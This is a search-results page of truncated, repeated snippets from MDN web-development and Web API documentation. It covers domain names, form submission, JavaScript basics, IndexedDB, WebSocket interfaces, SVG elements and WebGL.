...and compiled every time. This article explains the best practices around this. 3 Compiling a New C/C++ Module to
WebAssembly C, C++, Compiling, Emscripten,
WebAssembly, wasm When you've written a new code module in a language like C/C++, you can compile it into
WebAssembly using a tool like Emscripten. Let's look at how it works. 4 Compiling an Existing C Module to
WebAssembly C++, Compiling, Emscripten,
WebAssembly, wasm A core use-case for
WebAssembly is to take the existing ecosystem of C libraries and allow developers to use them on the
web. ...
...And 6 more matches
What is a Domain Name? - Learn web development
Prerequisites: First you need to know how the Internet works and understand what URLs are. Objective: Learn what domain names are, how they work, and why they are important. Summary Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any
web server available on the Internet. Any Internet-connected computer can be reached through a public IP address, either an IPv4 address (e.g. 173.194.121.32) or an IPv6 address (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Computers can handle such addresses easily, but people have a hard time finding out who's running the server or what service the
website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use h...
...in names A domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left: Each of those parts provides specific information about the whole domain name. TLD (Top-Level Domain). TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require
web services to meet any particular criteria, but some TLDs enforce stricter policies so it is clearer what their purpose is. For example: Local TLDs such as .us, .fr, or .se can require the service to be provided in a given language or hosted in a certain country -- they are supposed to indicate a resource in a particular language or country. TLDs containing .gov are only allowed to be used by...
...any domain you control (e.g. mozilla.org), you can create "subdomains" with different content located at each, like developer.mozilla.org, iot.mozilla.org, or wiki.developer.mozilla.org. Buying a domain name Who owns a domain name? You cannot "buy a domain name". This is so that unused domain names eventually become available to use again by someone else. If every domain name was bought, the
web would quickly fill up with unused domain names that were locked and couldn't be used by anyone. Instead, you pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name. Companies called registrars use domain name registries to keep track of technical and administrative ...
...And 5 more matches
Sending form data - Learn web development
uisites: Basic computer literacy, an understanding of HTML, and basic knowledge of HTTP and server-side programming. Objective: To understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server First we'll discuss what happens to the data when a form is submitted. ...
...d server-side programming. Objective: To understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server First we'll discuss what happens to the data when a form is submitted. Client/server architecture At it's most basic, the
web uses a client/server architecture that can be summarized as follows. a client (usually a
web browser) sends a request to a server (most of the time a
web server like Apache, Nginx, IIS, Tomcat, etc.), using the HTTP protocol. The server answers the request using the same protocol. An HTML form on a
web page is nothing more than a convenient user-friendly way to configure an HTTP request to send data to a server. This enables the user to provide information to be delivered in the HTTP ...
... On the client side: defining how to send the data The <form> element defines how the data will be sent. All of its attributes are designed to let you configure the request to be sent when a user hits a submit button. ...
...And 5 more matches
JavaScript basics - Learn web development
It was invented by Brendan Eich (co-founder of the Mozilla project), the Mozilla Foundation, and the Mozilla Corporation. JavaScript is versatile and beginner-friendly. ...
...It was invented by Brendan Eich (co-founder of the Mozilla project), the Mozilla Foundation, and the Mozilla Corporation. JavaScript is versatile and beginner-friendly. With more experience, you'll be able to create games, animated 2D and 3D graphics, comprehensive database-driven apps, and much more! JavaScript itself is relatively compact, yet very flexible. ...
...e, you'll be able to create games, animated 2D and 3D graphics, comprehensive database-driven apps, and much more! JavaScript itself is relatively compact, yet very flexible. Developers have written a variety of tools on top of the core JavaScript language, unlocking a vast amount of functionality with minimum effort. These include: Browser Application Programming Interfaces (APIs) built into
web browsers, providing functionality such as dynamically creating HTML and setting CSS styles; collecting and manipulating a video stream from a user's
webcam, or generating 3D graphics and audio samples. Third-party APIs that allow developers to incorporate functionality in sites from other content providers, such as Twitter or Facebook. Third-party frameworks and libraries that you can apply to ...
...And 5 more matches
Images in HTML - Learn web development
Fortunately, it wasn't too long before the ability to embed images (and other more interesting types of content) inside
web pages was added. There are other types of multimedia to consider, but it is logical to start with the humble <img> element, used to embed a simple image in a
webpage. In this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to CSS background images. ...
...background images. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML.) Objective: To learn how to embed simple images in HTML, annotate them with captions, and how HTML images relate to CSS background images. How do we put an image on a
webpage? In order to put a simple image on a
webpage, we use the <img> element. This is an empty element (meaning that it has no text content or closing tag) that requires a minimum of one attribute to be useful -- src (sometimes spoken as its full title, source). The src attribute contains a path pointing to the image you want to embed in the page, which can be a relative or absolute URL, in the sa...
...efore, you should give your image a descriptive filename; dinosaur.jpg is better than img835.png. You could embed the image using its absolute URL, for example: <img src="https://www.example.com/images/dinosaur.jpg"> But this is pointless, as it just makes the browser do more work, looking up the IP address from the DNS server all over again, etc. You'll almost always keep the images for your
website on the same server as your HTML. Warning: Most images are copyrighted. Do not display an image on your
webpage unless: You own the image. You have received explicit, written permission from the image owner. You have ample proof that the image is, in fact, in the public domain. Copyright violations are illegal and unethical. In addition, never point your src attribute at an image ho...
...And 5 more matches
Manipulating documents - Learn web development
This is usually done by using the Document Object Model (DOM), a set of APIs for controlling HTML and styling information that makes heavy use of the Document object. In this article we'll look at how to use the DOM in detail, along with some other interesting APIs that can alter your environment in interesting ways. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and JavaScript -- including JavaScript objects. ...
...ong with some other interesting APIs that can alter your environment in interesting ways. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and JavaScript -- including JavaScript objects. ...
... other interesting APIs that can alter your environment in interesting ways. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and JavaScript -- including JavaScript objects. Objective: To gain familiarity with the core DOM APIs, and the other APIs commonly associated with DOM and document manipulation The important parts of a
web browser
Web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a
web developer using JavaScript. You might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering around security. Imagine if a
web site could get access to your stored passwords or other sensitive information, and ...
...And 5 more matches
Third-party APIs - Learn web development
Previous Overview: Client-side
web APIs Next The APIs we've covered so far are built into the browser, but not all APIs are. Many large
websites and services such as Google Maps, Twitter, Facebook, PayPal, etc. provide APIs allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. using Facebook login to log in your users). This article looks at the difference between browser APIs and 3rd party APIs and shows some typical uses of the latter. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn how third-party APIs work, and how to use them to enhance your
websites. What are third party APIs? Third part...
...st API example, and use it to illustrate how third-party APIs differ from browser APIs. Note: You might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section. They are found on third-party servers Browser APIs are built into the browser -- you can access them from JavaScript immediately. For example, the
Web Audio API we saw in the Introductory article is accessed using the native AudioContext object. For example: const audioCtx = new AudioContext(); ... const audioElement = document.querySelector('audio'); ... const audioSource = audioCtx.createMediaElementSource(audioElement); // etc. Third party APIs, on the other hand, are located on third party servers. To access them from JavaScript you f...
...unctionality slightly differently, requiring the developer to make an HTTP request to a specific URL pattern to retrieve data. These are called RESTful APIs -- we'll show an example later on. They usually require API keys Security for browser APIs tends to be handled by permission prompts, as discussed in our first article. The purpose of these is so that the user knows what is going on in the
websites they visit and is less likely to fall victim to someone using an API in a malicious way. Third party APIs have a slightly different permissions system -- they tend to use developer keys to allow developers access to the API functionality, which is more to protect the API vendor than the user. You'll find a line similar to the following in the Mapquest API example: L.mapquest.key = 'YOUR-A...
...And 5 more matches
Multimedia: video - Learn web development
Previous Overview: Performance Next As we learned in the previous section, media, namely images and video, account for over 70% of the bytes downloaded for the average
website. We have already taken a look at optimizing images. This article looks at optimizing video to improve
web performance. Prerequisites: Basic computer literacy, basic software installed, and basic knowledge of client-side
web technologies. Objective: To learn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on each browsers file type support. Why optimize your multimedia? For the average
website, 25% of bandwidth comes from video. Optimizing video has the potenti...
...rn about the various video formats, their impact on performance, and how to reduce video impact on overall page load time while serving the smallest video file size based on each browsers file type support. Why optimize your multimedia? For the average
website, 25% of bandwidth comes from video. Optimizing video has the potential for very large bandwidth savings that translate into better
website performance. Optimizing video delivery It's best to compress all video, optimize <source> order, set autoplay, remove audio from muted video, optimize video preload, and consider streaming the video. The sections below describe each of these optimization techniques. Compress all videos Most video compression work compares adjacent frames within a video, with the intent of removing detail ...
...r, set autoplay, remove audio from muted video, optimize video preload, and consider streaming the video. The sections below describe each of these optimization techniques. Compress all videos Most video compression work compares adjacent frames within a video, with the intent of removing detail that is identical in both frames. Compress the video and export to multiple video formats, including
WebM, MPEG-4/H.264, and Ogg/Theora. Your video editing software probably has a feature to reduce file size. If not, there are online tools, such as FFmpeg (discussed in section below), that encode, decode, convert, and perform other optimization functions. Optimize <source> order Order video source from smallest to largest. For example, given video compressions in three different formats at 10MB,...
...And 5 more matches
Strategies for carrying out testing - Learn web development
least with the fallbacks provided by our defensive coding. Throughout the following sections, we'll build up a support chart in this format. Note: Yahoo first made this approach popular, with their Graded browser Support approach. Educated guesses You could call these "assumptions", or "gut feelings". This is not an accurate, scientific approach, but as someone who has experience with the
web industry you'll have a pretty good idea of at least some of the browsers you should test. This can form a good basis for a support chart. For example, if you live in Western Europe or North America, you will know that a lot of people use Windows and Mac desktops/laptops, where the main browsers are Chrome, Firefox, Safari, IE, and Edge. You probably want to just test the latest versions of the f...
...d for completely new sites. But an analytics history can be useful for finding support stats to influence say a new version of a company's site, or new features you are adding to an existing site. If you have these available, they are far more accurate than global browser stats like those mentioned above. You may also consider using open source and privacy focussed analytics platforms like Open
Web Analytics and Matomo. They expect you to self-host the analytics platform. Setting up Google analytics First of all, you'll need a Google account. Use this account to sign into Google Analytics. Choose the Google Analytics (
web) option, and click the Sign Up button. Enter your
web site/app details into the signup page. This is fairly intuitive to set up; the most important field to get rig...
... and Matomo. They expect you to self-host the analytics platform. Setting up Google analytics First of all, you'll need a Google account. Use this account to sign into Google Analytics. Choose the Google Analytics (
web) option, and click the Sign Up button. Enter your
web site/app details into the signup page. ...
...And 5 more matches
Creating localizable web applications
In some cases, the code snippets were slightly changed to better illustrate the recommendations or for clarity. Cheatsheet Don't hardcode English text, formats (numbers, dates, addresses, etc.), word order or sentence structure. Don't put text or numbers in images. Don't forget about right-to-left locales. ...
...In some cases, the code snippets were slightly changed to better illustrate the recommendations or for clarity. Cheatsheet Don't hardcode English text, formats (numbers, dates, addresses, etc.), word order or sentence structure. Don't put text or numbers in images. Don't forget about right-to-left locales. ...
... can put the locale code as the top-most element of the URL's path (e.g. http://example.com/foo/bar) or on its end (e.g. http://example.com/foo/bar/en-US). Avoid using it in a subdomain, as it can cause problems with certificates (this is wrong: http://en-us.example.com/foo/bar). Simplify localized versions if necessary Oftentimes, it is better to slightly simplify the localized version of your
web application than to serve a mix of localized and English content. For example, if not all the pages of your
website are going to be localized, you may consider removing links to the English-only pages from the navigation (headers, footers, sidebars) in the localized versions. Define the locale and the direction in the HTML Generate the lang attribute dynamically, depending on the current locale...
...And 5 more matches
amIWebInstallListener
toolkit/mozapps/extensions/amI
WebInstallListener.idlScriptable Starts all installs. The registered amI
WebInstallListener is used to notify about new installs triggered by
websites. The default implementation displays a confirmation dialog when add-ons are ready to install and uses the observer service to notify when installations are blocked. ...
... about new installs triggered by
websites. The default implementation displays a confirmation dialog when add-ons are ready to install and uses the observer service to notify when installations are blocked. ...
...service to notify when installations are blocked. ...
...And 5 more matches
nsIWebSocketListener
netwerk/protocol/
websocket/nsI
WebSocketListener.idlScriptable Implement this interface to receive
WebSocket traffic events asynchronously after calling nsI
WebSocketChannel.asyncOpen(). 1.0 66 Introduced Gecko 8.0 Inherits from: nsISupports Last changed in Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5) Method overview void onAcknowledge(in nsISupports aContext, in PRUint32 aSize); void onBinaryMessageAvailable(in nsISupports aContext, in ACString aMsg); void onMessageAvailable(in nsISupports aContext, in AUTF8String aMsg); void onServerClose(in nsISupports aContext, in unsigned short aCode, in AUTF8String aReason); void onStart(in nsISupports aContext); void onStop(in nsISupports aContext, in nsresu...
...void onAcknowledge( in nsISupports aContext, in PRUint32 aSize ); Parameters aContext User defined context. aSize Number of bytes placed in OS send buffer. onBinaryMessageAvailable() Called when a binary message has been received. void onBinaryMessageAvailable( in nsISupports aContext, in ACString aMsg ); P...
...oid onMessageAvailable(in nsISupports aContext, in AUTF8String aMsg); void onServerClose(in nsISupports aContext, in unsigned short aCode, in AUTF8String aReason); void onStart(in nsISupports aContext); void onStop(in nsISupports aContext, in nsresult aStatusCode); Methods onAcknowledge() Called to acknowledge a message sent via nsI
WebSocketChannel.sendMsg() or nsI
WebSocketChannel.sendBinaryMsg(). void onAcknowledge( in nsISupports aContext, in PRUint32 aSize ); Parameters aContext User defined context. aSize Number of bytes placed in OS send buffer. onBinaryMessageAvailable() Called when a binary message has been received. void onBinaryMessageAvailable( in nsISupports aContext, in ACString aMsg ); Parameters aContext User ...
...And 5 more matches
BasicCardResponse - Web APIs
The definition of 'BasicCardResponse' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...gions preference (needs to be set to A comma-delineated list of one or more 2-character ISO country codes indicating the countries in which to support payments (for example, US,CA.). ...
... 56Notes Disabled Notes Available only in nightly builds.Disabled From version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
...And 5 more matches
BudgetService - Web APIs
It is available in both document and worker environments. Properties None. Methods BudgetService.getCost() Returns a Promise that resolves to a double, indicating the worst-case background operation cost of the provided background operation. BudgetService.getBudget() Returns a Promise that resolves to an array of BudgetState objects, indicating the expected state of the budget at times in the future. BudgetService.reserve() Returns a Promise that resolves to a boolean, indicating whether the requested budget operation can be reserved. ...
... a Promise that resolves to a boolean, indicating whether the requested budget operation can be reserved. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...r AndroidSafari on iOSSamsung InternetBudgetService ExperimentalDeprecatedNon-standardChrome Full support 55Edge Full support <=79Firefox ? IE ? Opera Full support 42Safari ?
WebView Android Full support 55Chrome Android Full support 55Firefox Android ? Opera Android Full support 42Safari iOS ? Samsung Internet Android Full support 6.0g...
...And 5 more matches
DirectoryReaderSync - Web APIs
lows the W3C Specifications (Working Draft) drafted on April 19, 2011. This specification is pretty much abandoned, having failed to reach any substantial traction. Basic concepts Before you call the only method in this interface, readEntries(), create the DirectoryEntrySync object. But DirectoryEntrySync (as well as FileEntrySync) is not a data type that you can pass between a calling app and
Web Worker thread. It's not a big deal, because you don't really need to have the main app and the worker thread see the same JavaScript object; you just need them to access the same files. You can do that by passing a list of filesystem: URLs--which are just strings--instead of a list of entries. You can also use the filesystem: URL to look up the entry with resolveLocalFileSystemURL(). That gets y...
...object; you just need them to access the same files. You can do that by passing a list of filesystem: URLs--which are just strings--instead of a list of entries. You can also use the filesystem: URL to look up the entry with resolveLocalFileSystemURL(). That gets you back to a DirectoryEntrySync (as well as FileEntrySync) object. Example In the following code snippet from HTML5Rocks, we create
Web Workers and pass data from it to the main app. // Taking care of the browser-specific prefixes. window.resolveLocalFileSystemURL = window.resolveLocalFileSystemURL || window.
webkitResolveLocalFileSystemURL; // Create
web workers var worker = new Worker('worker.js'); worker.onmessage = function(e) { var urls = e.data.entries; urls.forEach(functi...
...ies; urls.forEach(function(url, i) { window.resolveLocalFileSystemURL(url, function(fileEntry) { // Print out file's name. console.log(fileEntry.name); }); }); }; worker.postMessage({'cmd': 'list'}); The following is Worker.js code that gets the contents of the directory. // Taking care of the browser-specific prefixes. self.requestFileSystemSync = self.
webkitRequestFileSystemSync || self.requestFileSystemSync; // Global for holding the list of entry file system URLs. var paths = []; function getAllEntries(dirReader) { var entries = dirReader.readEntries(); for (var i = 0, entry; entry = entries[i]; ++i) { // Stash this entry's filesystem in URL paths.push(entry.toURL()); // If this is a directory, tr...
...And 5 more matches
EXT_disjoint_timer_query - Web APIs
Types This extension exposes a new type: GLuint64EXT Unsigned 64-bit integer number. ...
... Types This extension exposes a new type: GLuint64EXT Unsigned 64-bit integer number. ...
... Types This extension exposes a new type: GLuint64EXT Unsigned 64-bit integer number. ...
...And 5 more matches
EXT_float_blend - Web APIs
Doing so automatically enables EXT_float_blend as well. ...
...Doing so automatically enables EXT_float_blend as well. ...
...Doing so automatically enables EXT_float_blend as well. ...
...And 5 more matches
Element - Web APIs
resent elements) in a Document inherit. It only has methods and properties common to all kinds of elements. More specific classes inherit from Element. For example, the HTMLElement interface is the base interface for HTML elements, while the SVGElement interface is the basis for all SVG elements. Most functionality is specified further down the class hierarchy. Languages outside the realm of the
Web platform, like XUL through the XULElement interface, also implement Element. <div id="interfaceDiagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveAspectRatio="xMinYMin meet"><a xlink:href="...
...orm, like XUL through the XULElement interface, also implement Element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...And 5 more matches
FileSystem - Web APIs
ystem. Instead you will have a "virtual drive" within the browser sandbox. If you want to gain access to the users filesystem you need to invoke the user by eg. installing a Chrome extension. The relevant Chrome API can be found here. Basic concepts There are two ways to get access to a FileSystem object: You can directly ask for one representing a sandboxed file system created just for your
web app directly by calling window.requestFileSystem(). If that call is successful, it executes a callback handler, which receives as a parameter a FileSystem object describing the file system. You can get it from a file system entry object, through its filesystem property. Properties FileSystem.name Read only A USVString representing the file system's name. This name is unique among the ent...
... File and Directory Entries APIThe definition of 'FileSystem' in that specification. Draft Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...It's not available for use in file or folder picker panels (such as when you use an <input> element with the HTMLInputElement.
webkitdirectory attribute.Firefox Full support 50IE No support ...
...And 5 more matches
FileSystemSync - Web APIs
osed file systems. root readonly DirectoryEntry The root directory of the file system. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... send us a pull request. ...
...n-standardChrome Full support 13Prefixed Full support 13Prefixed Prefixed Implemented with the vendor prefix:
webkitEdge Full support <=79Prefixed Full support <=79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox No support NoIE No support NoOpera Full support 15Prefixed Full support 15Prefixed Prefixed Implemented with the vendor prefix:
webkitSafari Full support 6Prefixed...
...And 5 more matches
HTMLMediaElement - Web APIs
video. The HTMLVideoElement and HTMLAudioElement elements both inherit this interface. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 5 more matches
IDBFactory.open() - Web APIs
cess event is fired on the request object that is returned from this method, with its result attribute set to the new IDBDatabase object for the connection. If an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method. May trigger upgradeneeded, blocked or versionchange events. Note: This feature is available in
Web Workers. Syntax For the current standard: var IDBOpenDBRequest = indexedDB.open(name); var IDBOpenDBRequest = indexedDB.open(name, version); Parameters name The name of the database. version Optional Optional. The version to open the database with. If the version is not provided and the database exists, then a connection to the database will be opened without changing its version. If t...
...ng code snippet, we make a request to open a database, and include handlers for the success and error cases. For a full working example, see our To-do Notifications app (view example live.) var note = document.querySelector("ul"); // In the following line, you should include the prefixes // of implementations you want to test. ...
..."ul"); // In the following line, you should include the prefixes // of implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
...And 5 more matches
IDBObjectStore.name - Web APIs
Syntax IDBObjectStore.name = myNewName; var myObjectStoreName = IDBObjectStore.name; Value A DOMString containing the object store's name. Exceptions There are a several exceptions which can occur when you attempt to change an object store's name. InvalidStateError Either the object store has been deleted or the current transaction is not an upgrade transaction; you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange". ...
... Indexed Database API DraftThe definition of 'name' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l request. ...
...And 5 more matches
IDBRequest.error - Web APIs
Syntax var myError = request.error; Value A DOMError containing the relevant error. In Chrome 48+/Firefox 58+ this property returns a DOMException because DOMError has been removed from the DOM standard. The following error codes are returned under certain conditions: Error Explanation AbortError If you abort the transaction, then all requests still in progress receive this error. ...
... Indexed Database API DraftThe definition of 'error' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 5 more matches
IDBTransaction.error - Web APIs
Syntax var myError = transaction.error; Value A DOMError containing the relevant error. In Chrome 48+/Firefox 58+ this property returns a DOMException because DOMError has been removed from the DOM standard. The exact error is one of serveral possibilities. It can be a reference to the same error as the request object that raised it, or a transaction failure (for example QuotaExceededError or UnknownError). ...
... Indexed Database API DraftThe definition of 'error' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... request. ...
...And 5 more matches
MediaMetadata - Web APIs
Constructor MediaMetadata.MediaMetadata() Creates a new MediaMetaData object. Properties MediaMetadata.title Returns or sets the title of the media to be played. MediaMetadata.artist Returns or sets the name of the artist, group, creator, etc. of the media to be played. MediaMetadata.album Returns or sets the name of the album or collection containing the media to be played. MediaMetadata.artwork Returns or sets an array of images associated with playing media. ...
...ion StandardThe definition of 'MediaMetaData' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... InternetMediaMetadata ExperimentalChrome Full support 57Edge No support NoFirefox Full support 71IE No support NoOpera Full support YesSafari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android No support NoSafari iOS ? Samsung Internet Android Full support 7.0Media...
...And 5 more matches
OES_standard_derivatives - Web APIs
Constants This extension exposes one new constant, which can be used in the hint() and getParameter() methods. ...
... Constants This extension exposes one new constant, which can be used in the hint() and getParameter() methods. ...
... Constants This extension exposes one new constant, which can be used in the hint() and getParameter() methods. ...
...And 5 more matches
Reporting API - Web APIs
Such information can include: Content Security Policy violations. Feature-Policy violations. Deprecated feature usage (when you are using something that will stop working soon in browsers). Occurrence of crashes. ...
...Such information can include: Content Security Policy violations. Feature-Policy violations. Deprecated feature usage (when you are using something that will stop working soon in browsers). Occurrence of crashes. ...
...Such information can include: Content Security Policy violations. Feature-Policy violations. Deprecated feature usage (when you are using something that will stop working soon in browsers). Occurrence of crashes. ...
...And 5 more matches
SVGTSpanElement - Web APIs
The SVGTSpanElement interface represents a <tspan> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 5 more matches
SVGTextElement - Web APIs
The SVGTextElement interface corresponds to the <text> elements. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 5 more matches
Clearing with colors - Web APIs
<< PreviousNext >> An example showing how to clear a
WebGL rendering context to a solid color. Clearing the
WebGL context with a solid color The simplest graphical
WebGL program. Set up the rendering context and then just clear it solid green. Note that CSS sets the background color of the canvas to black, so when the canvas turns green we know that
WebGL's magic has worked. In addition, you may notice that clearing the drawing buffer with a solid color is a two-stage process. First, we set the clear color to green, using the method clearColor(). This only changes some internal state of
WebGL, but does not draw anything yet. Next, we actually do the drawing by calling the clear() method. This is typical of how drawing is done with
WebGL. There is only a handful of methods fo...
...ocess. First, we set the clear color to green, using the method clearColor(). This only changes some internal state of
WebGL, but does not draw anything yet. Next, we actually do the drawing by calling the clear() method. This is typical of how drawing is done with
WebGL. There is only a handful of methods for actual drawing (clear() is one of them). All other methods are for setting and querying
WebGL state variables (such as the clear color). There are many "dials" and "switches" that affect drawing with
WebGL. The clear color is just the first of many you will get to know. This is why
WebGL/OpenGL is often called a state machine. ...
...ng (clear() is one of them). All other methods are for setting and querying
WebGL state variables (such as the clear color). There are many "dials" and "switches" that affect drawing with
WebGL. The clear color is just the first of many you will get to know. This is why
WebGL/OpenGL is often called a state machine. By tweaking those "dials" and "switches" you can modify the internal state of the
